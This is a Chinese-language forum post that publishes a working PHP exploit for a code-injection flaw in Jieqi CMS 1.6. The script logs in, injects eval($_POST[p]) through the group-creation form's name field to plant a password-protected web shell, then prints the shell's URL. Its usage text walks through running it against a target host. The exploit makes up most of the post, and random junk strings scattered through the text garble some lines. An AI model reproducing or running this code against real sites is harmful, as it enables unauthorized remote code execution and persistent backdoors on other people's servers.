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标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP [打印本页]

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作者: admin    时间: 2013-2-23 11:28
标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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' |; a+ k8 v  ?4 [2 @: ?该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

1 N. p: n# z% X" ]9 T% D* @8 N1 ~* L<?php

5 e; a  ]! A/ t3 Y; B$ O) Eprint_r('
+---------------------------------------------------------------------------+
  V! b# w( a+ K$ S. k; zJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
. V- c! J) {) h% Y/ F; U: fmail: phpsec at hotmail dot com
  h: j/ {( A3 v& q2 Fteam: http://www.wolvez.org
* {( D6 z1 `4 p8 p$ g' {+---------------------------------------------------------------------------+
'); /**
+ @% \9 s1 k9 ]: c * works regardless of php.ini settings
  A/ i7 b" @: _0 d# D*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
8 p5 U# h4 P) [* jUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
, {' C6 ?2 Q% u& d! s- A+ |path:      path to jieqicms
  R8 N  y% Z% O1 kuasename:  a username who can create group
3 l' O1 u( q$ m  YExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
3 N: ~3 k( ~/ a' M6 X0 K9 G'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
+ @+ z! a6 w( a7 H3 Z0 d/ h5 xContent-Disposition: form-data; name="gname"
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1 z* T  {5 h9 |'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

( ~) m( u4 a0 p1
-----------------------------23281168279961
: ?. B  X9 W6 n5 h6 y3 [+ _: WContent-Disposition: form-data; name="gaudit"
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1
6 b5 C/ c: L; k& C. s/ s-----------------------------23281168279961
$ ^( H% y4 x3 h% T' a; YContent-Disposition: form-data; name="gbrief"

  [- R& D3 M9 j5 S2 u- B2 s! O. `1
-----------------------------23281168279961--
- {0 n/ e! l. K2 k3 i'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

; h6 ?' O5 l' K& _preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;

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